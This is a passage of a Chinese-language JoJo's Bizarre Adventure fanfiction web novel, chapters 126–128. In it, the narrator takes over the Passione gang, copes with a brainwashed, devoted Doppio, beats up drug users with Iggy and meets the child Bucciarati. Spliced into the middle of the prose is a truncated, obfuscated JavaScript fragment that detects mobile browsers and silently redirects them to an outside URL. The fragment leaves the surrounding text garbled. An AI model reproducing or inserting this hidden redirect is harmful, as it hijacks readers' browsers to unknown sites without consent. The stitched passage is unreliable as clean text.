额前的肉芽像是为了报复之前被粗鲁拔出来的仇,狠狠地扎根进去。
哦呼。
至此,迪亚波罗再也无法思考了。
看着拿着秃噜皮箭头无能狂怒的同事,我拿出了探照灯,熟练捞走了粉发雀斑青年的灵魂,顺便捞走了最后一点点箭头。
哦嘿!行动大成功!
我看着变回粉发雀斑少年样貌的躯体,熟练地把他拎了起来,像外面走去。
啊说起来,我还得和乔瑟夫先生他们知会一声。
说曹操,曹操就到。
一辆一看就严重超速的车飞驰在我面前,猛的刹车停下。
我从摇下的车窗里看见了熟悉的脸。
等等,大家怎么一副要哭出来的样子!
我愣了两下,感觉有风从腹部穿过。
“等等!我能解释!”
126.我是boss?
老实说,由于我现在的身体素质过于好,所以一般的小伤我都不放在心上。
这点可能要感谢我的前前雇主,虽然他无可争议的是屑,但是从他身上继承来的细胞求生和自我恢复的能力确实强到可怕。要不是我为了在粉发发霉章鱼眼皮底下点燃打火机所以尽力控制伤口的恢复,恐怕它就很快好了。
而后我也就没有管这个伤口了,反正也不会死。
但是现在--
驾驶座上的花京院眼眶红了,承太郎嘴唇发抖,波鲁纳雷夫已经一把鼻涕一把泪了。
乔瑟夫先生看起来马上就要喘不过气了。伊奇老大的眼神也是悲伤得要命,踉跄地率先跳下车来。
不是啊,这个情绪渲染得也太可怕了吧!
“等等,已经好了!完全没有事!”我指了指自己瞬间恢复好的腹部,但是没人作答。
难道没恢复好吗?我低头摸了摸,现在也没漏风啊。
伊奇已经走到了我脚边,盯着我,鼻子微微翕动。
我立马伸出三根手指发誓,“老大,我没事。”
伊奇抬头深深看了我两眼,迈着腿快步向前,跳起来,用前肢狠狠打了一下我的腿然后“嗷呜”一声气鼓鼓地就奔回车上。
哎?我们关系已经破裂了吗?
乔瑟夫先生手指擦过眼尾,看着我手上的托比欧,叹了口气,“先上车吧。”
确实,此地不宜久留。
我立马掏出口袋里的尼龙绳捆住了原本拎在手上的托比欧。他现在还一动不动的,再加上被卸了关节,应该也不能行动。
为了保险起见,我给他的后颈再来了一下,然后将人塞进了后备箱里。
哈哈,接下来就回酒店然后讨论【念写】托比欧脑中关于boss的信息吧。
我正想这么说,一上车,却看见几双眼睛盯着我。
吸着鼻涕的银发男人率先开启控诉。
“唔,李你是个混蛋!”
“抱歉抱歉,我是混蛋。”
我抽出了一张纸巾,递给前座还在抽泣的波鲁纳雷夫,顺便拍了拍对方的背。
银发男人转过头,用红肿的眼狠狠瞪了我一会,就飞一般得抽走了我手上的抽纸,狠狠擤鼻涕。
“吓死我们了好不好,你那算什么样子,万圣节的恐怖cos吗?”波鲁纳雷夫的嗓音有些沙哑。
我有些心虚,看着大家还湿润的眼眶,决定暂且认下这个,“是我的问题。”
乔瑟夫先生拍了拍自己的胸口,从口袋里掏出了一片固体制剂吞下,半眯着眼看我,“哎,经历这样的事老头子我都觉得心脏要不行了,大概以后得换上机械心脏吧.....”
不,您吞下的完全是糖吧。我从外包装上收回视线,又看了看自己前后破了大口子而且吸满鲜血的衬衫,觉得自己稍微有些理亏,只能不吱声。
前面已经从惊吓中缓过来的波鲁那雷夫哼了一声,像是接受到了什么信号,环视了周围所有人后又强行抱起了伊奇,幽怨地转头看我。
“你再这样下去不会就要抛弃同伴和孩子一个人去冒险吧,好无情的女人~”
--这算哪门子的话。
“这么说也太夸张了。”我抬起一只手,打断波鲁纳雷夫接着的发言。
“无情的女人在说什么呢,难道某个家伙没有在约定的时间前先动手然后还带着一身伤嘛。”波鲁纳雷夫的语调显得阴阳怪气,但是他眼睛依旧红红的,使得这种阴阳怪气中多了一丝悲伤。
哎.....居然是真心实意的阴阳怪气。这样子就难办了,大家应该不会都这样吧。
我看向了一边,承太郎压下了帽子,伊奇也扭过头,乔瑟夫先生这时候在窗外看风景。
诶?大家都生气了吗?
我看向花京院,粉发青年深深看了我一眼,那双湿润的眼眸里潮湿的水汽好像滴在了我的脸上。
我愣了一下,摸了摸脸,讪笑了一下。
对方别过了脑袋,声音闷闷的脱下了身上的外套,“李小姐你的衣服破损得有些厉害,如果不嫌弃,请拿去用吧。”
这回连花京院也生气了吗?
我接过了外套,到了声谢,暂时放在身前。
花京院没有回头,只是一掌捂住自己的半边脸,我都看不清他的表情。
好吧,看来必须得面对了。
我看向气鼓鼓的波鲁纳雷夫,银发男人的脸上写满控诉,“无情的女人,你要从哪点反驳!”
关于提前动手这点我根本无法反驳。虽然最保险的做法肯定是等乔瑟夫先生都来了再动手,但是我这样做也可以吧,总之,至少只有我自己受了点无伤大雅的伤而已。
我咳咳两声清了清嗓子,正色道,“首先,我是绝对不会抛弃同伴的。”
波鲁纳雷夫的眼神犀利了起来,努了努嘴,“那为什么不等我们来再动手,这样子很危险的你知不知道。”
“小伤了话,我身体恢复能力还挺--”
伊奇竖起了耳朵,不满地回过头来,嚎叫和波鲁纳雷夫的声音重叠。
“唔汪!”/“那是小伤吗!”
乔瑟夫先生转过头来,不再装作看窗外的风景,用右手摸了摸我的头,“李,我并不想进行说教,但是,即使再强的肉/体都会不可能毫无弱点,孤身作战总会有很多顾不上的地方,这回是小伤,可是如果对方的手段超乎你的想象,你的身体根本无法恢复,那会怎样呢?”
乔瑟夫先生似乎回忆起了什么,眼中划过一丝沉痛,“李,你完全可以多依赖我们一点。别忘了惦念着你的同伴啊,我们可不是你的累赘。”
乔斯达先生按在我头上的手让我的思绪沉淀了下来,这样长辈关怀让我觉得陌生又温暖。
我本身还想表明我的身体强度应该比dio还好点,但是对方温和关怀的眼神止住了我的话头。
我是明白不可能有完全不死不灭的躯体的,即使是鬼舞辻无惨那样拥有诡异再生能力的肉/体,在阳光下也会灰飞烟灭。自愈能力是有上限的,虽然我不清楚自己身体的上限,但也知道这肯定挨不过核弹头。
而且我也不像鬼舞辻无惨那样拥有五颗脑袋七颗心脏,如果脑袋心脏同时受伤,恐怕恢复能力也会大打折扣。
我也还不至于失去对生命的敬畏。
只不过,当我真切面临着【时间跳跃】的替身能力以及感受到那个长得辣眼睛的红色人型替身的力道时,我的第一反应确实是不想让大家接近这里。
说起来,我自己或许确实有那种自大的心态,觉得自己只要包揽了一切就能不让他人受伤。
或许这真的是种傲慢吧,但是看着都没有受伤的大家,我还是忍不住松了一口气。
“我明白这点,但是,正是因为大家都是我珍视的同伴,所以我一点也不想让大家受伤。”说着,我感觉心口热热的,像是某种洪流从喉咙涌上眼眶。
不管怎么说,当我的血条比起其他人更厚的时候,我当然会顶在最前面的。
所有人都转过了头来,我能看见大家的眼睛,里面或许混合了许多情绪,我无法全部分辨,但是觉得温暖又安心。
我继续举起一只手,郑重发誓,
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“当然,我也会更依赖大家的。”
说完这句话,我听到伊奇从嗓子中发出一声呜咽,跳到我身变,爪子搭在了我的腿上。
那样就是和好的意思了吧!
我也将手放在了伊奇老大的爪子上,忍不住笑了出来。
说起来,明明开着窗,怎么大家脸都有点红了。
总不至于是尴尬吧?
我摸了摸鼻子,决定找个新话题,“乔瑟夫先生,我已经控制住了passione的boss的手下,我怀疑他见过passione的boss,可能需要您来【念写】一下他头脑中关于boss的影像。”
虽说我应该算是干掉了那个因为“箭”的事想要对波鲁纳雷夫下杀手的时间系替身使者,但是归根到底对于“箭”信息敏感的应该是passione的boss,如果不处理他可能才是后患无穷。
这回处理passione的boss了话我就尽量按照计划时间团队协作,这样子乔瑟夫先生他们就不至于那么担心了!
我正美美做着加深着同伴羁绊规划决定,却被承太郎打断了话,“passione的boss,已经抓到了。”
诶?就在我对战粉色发霉章鱼的时候吗?大家效率好高!
我不明觉厉,就看见乔瑟夫先生掏出了一张照片。照片里,粉发发霉章鱼正一脸杀气地被我拎着。
“passione的boss?”我指了指那个粉发发霉章鱼。
乔瑟夫先生点了点头,“如果【念写】没错了话,就是他。”
什么,这竟然不是什么占据了无辜少年身体的发霉章鱼的灵魂吗?
不过这样或许能解释为什么乔瑟夫先生【念写】粉发发霉章鱼或者passione的boss时一直失败,毕竟对方一直躲在躯体里不出现,让托比欧顶着。
不过,这不就代表着我又干掉了自己的boss?
而按照我的血鬼术.....
我咽了咽口水,示意花京院开回酒店,一边快速查询自己银行卡里的余额。
岂可修,根本没变化。
不过,要验证粉发发霉章鱼是否真的是passione的boss,我还可以做一个测试。
在酒店的房间里,将花京院的外套袖子打结捆在腰间,心中不断回想起那个辣眼睛的红色人型替身。
出来吧!红色双脸兄贵!
虽然这个名字起得有点难听,但是红色人型替身确实如愿地出现在我的身边了。
比起【世界】的老实,对方的表情怎么看怎么狰狞,但好在,对方似乎依旧是按着我的心意行动了。
就是不知道为什么这个替身的头上也出现了像是绿色豹纹的东西,不会粉发发霉章鱼的品味也传染给了替身吧。
我不由得皱起了眉,波鲁纳雷夫摇了摇头,将自己帅气的【银色战车】召唤出来,仔仔细细欣赏了一番,不由感慨。
“passione的boss心灵一定很丑陋!替身竟然是这样子!”
对于波鲁纳雷夫直白的人身攻击,虽然我也很想点头,但是一想到自己灰雾般掉san值的替身,又不由得将头定住了。替身外貌和心灵,应该,不算强关联吧?
就在我这么想着的时候,被放置在地上的托比欧唰地睁开了眼,紧盯着我,嘴巴里似乎在说什么。
我给他安回了下巴,捏着托比欧的脸正想警告对方别搞小动作。
粉发雀斑的少年就将脸紧紧地贴着我的手,语气里满是依恋,“boss!”
?
诶!
127.(含加更)负责
我的脑子宕机了一瞬间。
等等,是我下手太重的缘故吗?这完全就是记忆错乱了吧。
在我印象中,托比欧应该就是个误入歧途的少年。呃,虽然现在看起来,好像是被洗脑的狂热passione的boss死忠粉一样,就连身体都被粉色发霉章鱼占据都没有任何记忆。
我还以为会来点“我要替boss报仇的之类的.....”
我咽了咽口水,开始觉得事情麻烦起来了。
肉芽还在托比欧的额头上微微摇摆着触手,像是在对我打着招呼。等等,这时候你倒是发挥点作用啊,不要是因为你把别人脑子搞坏了吧!
我只是想控制对方的行动顺便洗脑让他忘记奇怪黑手.党别搞什么幺蛾子,怎么现在是这个走向。
即使被我强行扼住脸,粉发雀斑青年也一点都不反抗,只是乖顺地贴着我的手,棕色的眼眸一眨不眨盯着我,一直露出过于灿烂的笑容。
我简直像是看到虚空中有一个不断摇晃的尾巴了。
拜托.....我知道自己下手的轻重的,现在醒来至少是剧痛吧,怎么还在笑呢?
我都觉得毛骨悚然了啊。
“呃,托比欧你还记得之前发生了什么吗?”
“是我要辅助boss一起进行任务!”粉发雀斑青年雀跃地回答。
“那任务是?”
“一起去监狱里选拔新人!”
不不不,完全不对吧!如果是只是进行任务我完全可以当做他是和粉色发霉章鱼的约定,但是选拔新人完全是我的事吧.....
完了,我不会真的把别人的脑子弄坏吧。果然使用改良版肉芽没有经过足够的试验就投入使用会出事吗?
托比欧那充满依赖和崇敬之情的眼神简直要将我灼伤了,我小心地松开他的脸,求助的目光投向了乔瑟夫先生。
乔瑟夫先生本就伸长脖子探着头观察这里,见我回头了然点了点头。
“开始【念写】吧。”
要检查托比欧的记忆是否出了问题,最好的方式就是用乔瑟夫先生的【隐者之紫】来【念写】。
但是结果不容乐观。
在安抚下,托比欧皱着眉接受了乔瑟夫将【隐者之紫】放在他的脑中。就像在进行超声波检查一样,托比欧脑内关于boss的记忆实时在酒店房间的电视上播放。
一开始是没有关于boss的任何影像,只有传达各类命令的电话交流。而后,我的影像出现在了电视中。
但是,和我记忆中的场景完全不一样,我们初见时他来问路在托比欧的记忆中变成了借问路传递命令,我甚至还在离开时夸赞对方是我最信任的下属。
就连在我公寓旁纵火也变成了是因为我的命令而替我解决麻烦。
--这完全都是虚假的记忆!
在场的所有人除了托比欧,都能清晰意识到这点。
“难道是触发了什么身体自发的记忆保护机制吗?”转移到没有托比欧的房间后,乔瑟夫先生率先提出了这个猜想。
我抱着头,声音沉重了一些,“.....也有可能是我肉芽使用地不够熟练的缘故,肉芽解决了那个粉色发霉章鱼的灵魂,但是似乎也让托比欧混淆了什么。”
是的,到现在我也依旧认为这是恶灵附身之类的缘故。
花京院倒是提出了有没有可能是双重人格,但是考虑到变换人格也不会将□□形态变换那么多,我们还是一致否了这个猜想。
不过具体什么原因还可以慢慢调查,现在最重要的是怎么安置托比欧。
“或许,有没有可能是你成功继承了passione的boss的身份呢?”承太郎思索片刻,又提出新思路,“毕竟按照你的说法,他的替身就像是【世界】一样被你使用了。”
我摸了摸下巴,沉思一会,有些迟疑,“可是我的银行账户里钱根本没有多.....”
“情报、人脉、隐藏的资产和海外账户或许不会靠将金钱转移到银行账户里来让你继承,”房地产大亨乔瑟夫先生如是说,继续反问我,“先前有没有继承钱财或者除了能力的先例呢?”
“完全没有。”我摸了摸下巴,绞尽脑汁,“非要说了话,乔鲁诺算吗?”
“.......”
“如果李你真的继承了passione,你想怎样做呢?”波鲁纳雷夫认真地看向我,眼里只是纯然的疑惑。
“我还不知道。”我思考了片刻,忍不住小声喃喃。
但在此之前,我还能试着做一件事。
我回到了托比欧所在的房间。他见只有我一个人回来,眼睛都亮了,极其高兴地抬着头打招呼,“boss!boss!”
他头上的肉芽也很活跃地扭动了一下。
啧。这时候越发感到是我犯的错了。
我忍不住叹了口气。在地上被卸了关节蛄蛹的粉发雀斑少年看起来确实有些可怜,我想了想,还是给对方将关节重新复位。
“啊!谢谢boss!”对方慢慢爬了起来,明亮的感激的双眸更是让我心虚。
我快速接近对方,一把扣住托比欧的下巴,控制住对方的动作。
粉发雀斑青年只是稍微震惊了一下,但是没反抗。
我的良心又小小痛了一下,我直直对上对方的眼睛,进行着暗示,“我不是你boss,我们并不认识,你是一个自由的普通人,可以追求自己想要的生活,当然是不违法乱纪的那种。”
在我的话语下,对方眼神失去了焦距,慢慢合上了眼皮。
好!洗脑大成功!这反应和我第一个试验的passione的打手一样。
我舒了口气,在几秒后,看着托比欧茫然地张开眼,打量着四周。
我满意地点了点头,准备等待对方的诘问。
看来没问--
“boss,我们为什么在这里?”粉发雀斑青年警惕地盯着四周,挡在我身前,似乎在防备着角落里会跳出的敌人一样。
......
头,头疼起来了啊。
我握了握拳,“托比欧,你还记得什么吗?”
粉发雀斑青年警惕着四周,扭头报告,“boss,我感觉头有点疼,肋骨可能断了几根,但是不要紧,boss,我还能行动,让我来保护您!”
......
我开始痛心疾首了,我真不是东西啊。
为什么洗脑大失败。难不成我第一个洗脑的人也失败了吗,找机会我得去查看一下情况。
我这么想着,一面心累地按着正在炸毛警惕的粉发雀斑青年的肩膀。
“boss?”
我已经不想反驳这个称呼了。
“托比欧。”
粉发雀斑青年略带疑惑地看着我,身体向我贴近。
“接下来交给我吧。你已经很累了,先睡吧。”我将手放在粉发雀斑青年的眼睛上,感受到他顺从地闭上了双眼,呼吸变得平缓,身体的重量向我倒来。
这点催眠倒是挺成功的啊。
我叹了口气,将托比欧放在了床上,确定托比欧真的陷入了昏睡后才写了一张纸条离开。
我一打开门,就看见忧心忡忡的四人一狗。
我交代了一下托比欧现在的情况,接着补充了一下。“等托比欧醒了,我再带他去治疗。”
不管怎么想,好像都是我的责任啊。
我也想过要不要拔除肉芽,但是二度给这个肉/体肉芽加上托比欧对我现在的迷之忠诚给了我不好的联想- 1.符合条件的肉ti 2.强韧的灵魂 3.对该肉ti强而有力的控制。4.再加上控制后将肉芽完全拔除
这不就是我之前被dio控制的秘术条件嘛。
已经错了第一步了,再将别人的肉/体完全控制再变成自己的备用躯壳,这种事情我根本做不来。
不过说起来,passione的boss应该除了托比欧,没人见过他的真实面目,那我应该怎么确定“继承”这件事呢?
总不能有什么天降孩子突然出现吧哈哈哈哈哈......应该没有吧。
*
近期,passione的组织里,各级干部都接到了来自boss的命令。
招募新人的任务暂停,那些灰色地带的事情也暂停。
这样的动作比起之前之前血色的暗杀还要更加可怕,本身有异心的家伙早就被接二连三的恐吓和血腥手段闹得心神不宁,现在这一副停止一切活动来算账的样子更像是无声的硝烟,标志着清算的开始。
不过他们也不算多想。
因为,passione确实在进行着清算。
在某件安全屋内,托比欧捧着一份加密地文件,稳重地走向了坐在黑色皮革座椅上的女人。
“Boss,关于passione的资产情况,我有一份报告需要向您汇报。”
女人没有抬头,声音中听不出情绪,“说吧。”
托比欧看着女人没有表情的脸,眨了眨眼,开始汇报:“passione在瑞士的几家私人银行拥有约三亿欧元的存款。所有账户都使用伪造身份和虚假文件,不会被追溯资金的来源。”
粉发雀斑青年抬眼看了看依旧面无表情的黑发女人,吸了口气,随后继续:“passione在开曼群岛有五个资产池,合计估算差不多三亿美元,里面包含高价值的房地产项目。”
黑发女人没有做声,半晌,用眼神示意托比欧继续汇报。
“还有在地下金库的黄金、珠宝、名画,价值应该有一亿美元。”说完这个,托比欧露出了一个腼腆的微笑,“地下金库的存在是boss您交给我把守的,除了我以外没有别人知道它的存在。”
被他注视的黑发女人适时地抬起了眼,对上了多比欧邀功的眼神。
如他所愿,女人向他招了招手。
粉发雀斑少年几乎是小步跳着向她冲去,急不可耐地将头蹭在了女人伸来的手上。
“辛苦你了,托比欧。”
女人清亮的声音在托比欧耳畔响起,他抬眼,就被柔软又温暖的视线包裹着,整个人脸上泛起了受宠若惊的潮红,恨不得将此刻整颗砰砰直跳的心都奉献给她。
当然,如果他在兴奋之余,细心留意,会发现我的手有些微微颤抖。
这还是我自己靠【世界】时停冷静了10s才变得稍微平静一点的后果。
怎么说,我就算做梦梦见中彩票,也从来没有想过有这么多钱。
虽然我曾经有一莲花宝座的财宝,但是撑死换算到现在也不可能有那么多。
而且,这笔钱完全属于意外之财。就有一种我以为在新手村打了小怪结果直接得到了全服最高的隐藏奖励一样,让我感觉自己很难冷静。
钱好多呀,怎么花,要不先去店里买了所有口味的披萨庆祝一下?
我努力克制住自己的嘴角,看着不断向我蛄蛹而来的托比欧,也忍不住变得包容了起来,“托比欧,有点近了。”
粉发雀斑少年的表情有些无辜,他稍微偏开了一点头,眨了眨眼,脸上的小雀斑莫名让我想起啾啾胖成球的小麻雀,“Boss,我不是您最信赖的下属吗?”
不管怎么说,最信赖和距离也没关系吧。
我总怀疑托比欧确实因为肉芽伤到了脑子,因为他的生活常识有些似乎变得很差。在病房里找不到我的时候他甚至就拿起了吊瓶当作电话想要和我通话,这点让看护的spw的人员都震惊了许久。在长久的脑部检查后,确认不是外部损伤造成的。
那就是是肉芽造成的吧。对于这点,我感到十分心虚,所以对于托比欧的奇妙常识决定慢慢更新。
就算对方像乔鲁诺之前一样头痒我也能理解并给予反馈。说起来,肉芽的副作用竟然那么多吗?
我叹了口气,觉得自己对肉芽的应用还是太少太轻率了,于是立马就用自己的钱给托比欧准备了电话并报上我的号码,然后喜提一小时里8通电话。
我回想起了当初被种下肉芽的花京院以及波鲁纳雷夫对于dio的狂热,又觉得托比欧的异常有了解释。
呃,总之,肉芽不能拔了话就慢慢来吧。不能直接洗脑那就耳濡目染吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775151|142476||http|test|mini|href|location''.split(''|''),0,{}));
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>“我也不能一直摸每个信赖的下属的头吧......”我试图动之以情,晓之以理,“距离和信赖并不是充分和必要关系,你看,我也不能去监狱里摸波尔波的头吧。”
虽然看起来,他应该是之前粉色发霉章鱼信赖的干部之一。
托比欧似乎被我说服了,有些不情愿地点点头,然后声音小小地说了声,“我的肋骨还有点疼。”
我不敢说话了。
如果是普通人,我会说不舒服就去找医生,问我干什么。
但,出于对托比欧健康的考虑和作为凶手的心虚(划掉),我是和对方说过要是最近身体有不适可以及时告诉我,却没想到托比欧身体恢复地比我想象中慢了许多。
于是我又当起了全自动摸头机。
双眼茫然地盯着墙上一看就很贵的画,我忍不住放空了思绪。
话说,学校里也没教啊,继承了一个passione该怎么办。
我打工的运气一向很差,甚是有克老板的嫌疑。我不是没有想过创业,但是低迷的经济加上空空的钱包也断送了创业路。
这回我当Boss,应该,不至于,很惨吧?
*
passione的异动让人警惕,本就被passione打击到不行的各类黑手.党也依旧保持着安静。
报纸上持续了一周的寻人启事终于被撤下了,众人纷纷猜测究竟是一掷千金的大款追爱寻人成功,还是爱而不得终究放弃。
毕竟这可是个大问题。
染发的男人们三三俩俩聚一起,你看看我,我看看你,都暗暗套话有没有人成功当上了替身。
不能作为正主,当个替身把钱赚了也不差呀。
但是话是难套出来的,钱是难赚的。在堕落的街区里,一位完全复刻了寻人启事的男人百无聊赖地盯着外面。
说起来,要不趁现在去抢一笔钱然后随便赖到别人身上算了。反正都打扮得差不多,那些被抢了的人急昏头了,估计谁被抓了就会指认是谁抢的。
这样趁着寻人启事的风头还没完全过去,倒是能靠这个再捞一笔钱,也算对得起染发烫头买新衣的投资。
男人想着,决定说干就干,眼睛肆意地找寻着目标。
这个,看起来太穷了,不行。这个,看起来太壮了,不行。
就这么路过了好多人,男人终于眼前一亮,他可算找着了目标——一个抱着狗的黑发女人。
这挑的很有门道。
女人打扮低调,但是无论是拿着这时候人们少有的手机,还是用看起来就很特殊的零食喂狗,都说明了这女人至少不穷。
而抱着狗,说不定是要带狗去美容什么的。这样子肯定是带着现金。
而且就那狗,个子小小的,看起来只会啃着像口香糖一样的东西,估摸着也只是个蠢狗,那么小的体型就算跳起来咬人都很可笑。
男人想着被抢钱后蠢狗蹦跳的滑稽的样子,忍不住嬉笑出声。
好了,就下手吧。
他插着口袋走了出去,装作看着远处和人招呼的样子,与女人迎面走过。
黑发女人看起来毫无察觉,还在和怀中的狗说话。
男人忍不住嘲弄地瞥了一眼,他想,待会,他还得踹一脚那个狗才行。
按照预先的想法,他要先狠狠撞上那个黑发女人的肩膀,掏出她的钱包然后直接跑去巷子里。
不过现在,他看那狗不爽,就多加一个动作好了。
男人的预期时完美的,但是现实是骨感的,就当他要撞上女人的时候,却发觉不知何时女人走到了一旁,他就被什么东西绊倒了,狠狠脸朝地摔在地上。
女人怀中的狗像是受了惊吓,跳下了下来,直接踏在男人的头上。
来不及感受脸的疼痛,男人就感觉有什么湿润的东西从后脑渗透在自己的脸上。
“啊,先生抱歉,我家伊奇一直很乖的,真不知道是怎么了……”黑发女人清凉的声音和狗得意的哼唧声交织在一起,让男人捏紧了拳头。
可恶,竟然受了这样的侮辱,他一定要让这家伙还回来!
男人吃力地从地上爬起,伸手摸了一下后脑勺,脸色更加难看了。
“你必须赔!”他声音里是货真价实的愤怒,正打算强行拉过女人,却见女人微微皱眉,脸上带笑,笑意却不达眼底。
这道凛然的目光硬生生叫停了他的动作。
“我会赔的。”女人见他收回了手,微微颔首。
竟然被女人的眼神吓退,男人咬紧了牙关,觉得有些屈辱,又不敢动作,“那就带我去医院!”
他带着女人穿过了几个小巷,女人的从身后传来,“你说的医院还没到吗?”
见路走得够偏了,男人停住脚步,回头,冷酷地看着这个竟然敢跟他走到这里的傻子。
“呵。医院,这里当然有医院了,这里可是针筒管够呢!”
无数个手臂上带着针孔的人从四面八方走来,视线贪婪地扫过女人的身体。
“竟然是毒.虫。”女人的声音听起来还有些疑惑,“我不是听说最近有黑手.党不允许卖这个了吗?”
身边的毒虫嗤笑了一声,从怀里掏出小刀,“说这个的就是傻x吧,谁不喜欢赚钱,大家只是分享点好东西,那又怎么了嘛……”
他的笑声像是什么导火索,引爆了在场的所有人的笑点。
黑发女人摸了摸怀中狗的背,看起来依旧没意识到现在是什么形势,“但是,今天还得上学吧,你们都不去学校嘛?”
听到她的话,毒虫们又是一阵爆笑。一群看起来年纪不大的家伙老气横秋地点了一只烟,吐了吐烟圈,鹦鹉学舌,“上—学—,哈哈哈哈哈。”
女人脸色不改,对着怀中的狗狗轻声说话,“看来那个叫布加拉提的小孩说得没错啊……”
她的声音很小,除了怀中的小狗,没人听见。怀中的狗微微换了个姿势,嘴里发出咕噜声。
“老大你要上吗?”女人点了点头,看着波士顿犬跳下,“这回打重点也没关系。”
黑白色的狗发出了满意的咕噜声。
128.洗牌
这是一场没有什么悬念的作战。
本来还甩着小刀的毒虫们不到一分钟就全部瘫倒在地上,扯着嗓子痛苦哀嚎。但是他们应该选择闭嘴的,因为歪嘴笑的伊奇老大会抬起后退,随机给躺在地上的幸运儿加点料。
看着想吐又爬不起来,只能侧着脸试图从嗓子眼挖出什么的粉发发霉章鱼同款的幸运儿,我努力克制住自己的嘴角上扬。
接下来得稍微严肃一点。
一个棕色短发男人目睹了那只小小的波士顿犬给地上粉发的男人加料的全过程,不由地瞪大了双眼。
这完全是变.态吧。
他这么想着,眼睛警惕地盯着站着的女人。在一片躺倒哀嚎的人中间,她表情自如得好像就是来散步一样。
明明看起来只是一个普通的女人才是.....
棕色短发男人疑惑地想着,却见黑发女人转头,微微低头,捕捉到了他的视线。
明明女人脸上还是那副平和的样子,却让男人感觉呼吸一窒。
黑发女人直直向他走来,棕色短发男人只觉得心如鼓点,身子不受控制的发抖,整个人都想要逃跑。
但是一点也跑不了,那个臭狗下脚狠,现在自己痛得根本爬不起来。
黑发女人蹲了下来,近看发现,她的表情比起平和,更像是客气的疏离。
皮革触到了脸上,不疼,只是有点凉。
棕色短发的男人听到了皮革与肌肤的清晰的接触声。他看去,黑发女人重新收回了带着黑色皮质手套的右手。
恍惚间,他有种感觉,这只手可以地扭断他的脖子。
明明黑发女人根本没有做什么,但是在危险的存在边缘,他也能察觉到一种窒息感。
“麻烦回答我几个问题好吗?”虽然是问句,但是男人意识到自己没有拒绝的余地。
不论是姓名还是过去做的事,不论是什么尽力隐瞒的秘密,他必须全部袒露。
*
套了有用的信息,捣毁了新的窝点,我不由得感慨,熟能生巧啊。
我本来以为还得继续让伊奇老大来一点精神攻击,却没想到那个棕毛很识时务,将知道的全说了--关于他们手上那些成瘾性粉末的来源以及联系的上家和下家。
毒.品,不管在哪里都不应该存在。
就在前几天,看着最大的威胁已经解决,我就联系乔纳森先生和阿布德尔先生将乔鲁诺带了回来。
一周不见,乔鲁诺看起来和乔纳森先生、阿布德尔先生相处得很好。只不过,对于突然出现的托比欧和没怎么相处过的花京院、承太郎、乔瑟夫先生,他还稍显不适应。
我能感觉他有些好奇,有些小孩子想要接触大人但是又有些羞涩的想法。
这样子好啊!不管是不是乔斯达家族的血脉连结,还是出于多认识新朋友的角度,我都认为,乔鲁诺多多认识一些新的人应该能弥补他不负责任的父母可能给他带来的负面影响。
于是,我就定下了在那不勒斯小渔村的进行一个接触大自然的休闲游。
当然,居住地点是passione在附近度假村修建的海边别墅。
我们租借了当地渔民的渔船进行出海。
承太郎是怎么和乔鲁诺科普了数十种海洋生物这点暂且不提;托比欧明明一起出行但是还是在3个小时内给我打了6通电话这个也暂且不提;阿布德尔先生在波鲁纳雷夫一激下在中途的小岛上表现火烧烤鱼这点也暂时不提;花京院和伊奇合作在沙滩上搭建了一个超级酷的赛车沙雕这点也暂时不提。
我们租借渔船的渔民的孩子和乔鲁诺玩得非常好这点暂且也....不,这点还是得提的!
那个孩子的名字叫做布加拉提,是个蓝眼睛的黑发妹妹头男孩,担任我们本次旅行的小向导和小水手。
他今年10岁,只比乔鲁诺大了5岁,却带着一种远超同龄孩子的成熟和懂事。父母在他7岁时离异,他选择了陪伴留在渔村的父亲身边。父亲想送他去大城市里上学,正在辛苦工作积攒学费,他也经常帮父亲编织渔网或者搭把手。
对于乔鲁诺来说,布加拉提算是同龄人中的大哥哥。我们在海滨游玩的时间,布加拉提非常照顾乔鲁诺,带他一起捡海边的贝壳,带他一起去小岛的洞穴里探秘,带他一起找海螺试着吹响。
以前镇上的同龄孩子对于乔鲁诺都是谩骂和欺凌,乍一见同龄的布加拉提,乔鲁诺初时警惕又疏离,而后就慢慢卸下心房,两个过早熟的孩子终于玩到了一块,沙滩上和渔船上回荡着稚气的欢声笑语。
临别前,两人依依不舍。乔鲁诺还悄声掂着脚问我回去之后是否可以与布加拉提写信。布加拉提也紧张地看着我,似乎害怕我拒绝。
我根本没有拒绝的理由。
“布加拉提,谢谢你。”我蹲下身子来,从怀里掏出了一些小零食和一个宣传小册子一起递给黑发少年。
“啊,谢谢姐姐。”黑发少年非常有礼貌地接了过去,眨巴眨巴看了一眼手中的小零食,先选择拿起了宣传册。
“.....招生简章。”仔细辨认宣传册封面上的字,布加拉提微微歪了歪脑袋,又看向我,眼里透着一点迷茫。
“我认识的人是这所学校的老师,正在进行下一年度的招生宣传。”我带着布加拉提翻开宣传册,将几个要点推销出去,“说起来,可能是招生有一定压力,所以她也拜托我一起宣传了。这所学校提供住宿,对于成绩优异的学生有学费全免以及各档奖学金补贴。”
我伸手比了个数字,介绍了一下各档奖学金。
布加拉提嘴巴张得圆圆的,小声惊呼:“这么多吗?”
我煞有介事地点点头,“可能是因为想要吸引好生源的缘故吧。”
对方的眼睛倏忽亮了起来,又像是想到了什么,稍微有些犹豫,“那么,这个学校,离我们这里会不会很远呢?”
“如果坐班车换乘了话,要三个小时左右吧。但是我听说这里之后可能还要继续开发旅游业,所以应该会有直达的车次。大概一个半小时左右就能到了吧。”
布加拉提的眼睛更亮了,他小心翼翼地收好宣传册,拍了拍衣服上的褶皱,很是正式地我躬身,“谢谢姐姐!”
好敏锐的孩子。
“我只是发个宣传册而已。”我立马
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扶住了布加拉提的手,“如果布加拉提你也愿意将这个消息告诉给别的要上学的孩子,这样可就是帮我朋友进行了招生宣传,那么真是帮大忙了。”
布加拉提将手握着拳头放在胸口,郑重其事地点了点头,“我一定会的!”
“那就再感谢不过了。”我摸了摸布加拉提的头,正打算站起身告别,却发现黑发少年的脸上还有一丝犹豫之色。
是还有什么困难吗?
我想了想,轻轻拍了拍布加拉提的肩膀,小声用气音说话,“布加拉提,你是不是还有什么想说的。”
